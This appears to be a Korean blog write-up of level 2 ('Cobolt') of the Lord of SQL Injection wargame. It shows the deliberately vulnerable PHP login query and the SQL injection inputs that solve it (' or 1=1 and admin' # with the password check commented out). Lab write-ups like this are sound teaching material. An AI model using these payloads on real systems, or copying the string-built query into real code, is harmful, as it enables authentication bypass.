티스토리 뷰

<?php
  include "./config.php"; 
  login_chk();
  dbconnect();
  
  // 입력 값 필터링
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  
  // 쿼리 생성 및 실행
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query));
  
  // 쿼리의 결과가 admin이면 클리어 ~
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

2번 문제 Cobolt의 소스이다.

 

소스를 읽어본 결과 따로 필터링되고 있는 값이 없어서,

1번과 똑같이 쿼리를 완성해주면 클리어가 될 줄 알았다.

 

?id=asd' or 1=1 %23

위와 같이 입력하니 'Hello rubiya ~ You are not admin!' 이라는 문자를 출력한다.

 

그렇다면 id를 admin으로 넣고 주석처리를 해주자.

?id=admin' %23

 

그렇다면 아래의 query가 완성되면서 클리어된다.
(# 뒤의 문자는 주석처리되어 없는 문자인 셈 처리가 된다.)

 

select id from prob_cobolt where id='admin' #' and pw=md5('')

 

'워게임 > Lord of SQL injection' 카테고리의 다른 글

[LOS] 6번. DARKELF  (0) 2019.05.08
[LOS] 5번. WOLFMAN  (0) 2019.05.08
[LOS] 4번. orc  (0) 2019.05.08
[LOS] 3번. GOBLIN  (0) 2019.05.07
[LOS] 1번. Gremlin  (0) 2019.05.07
댓글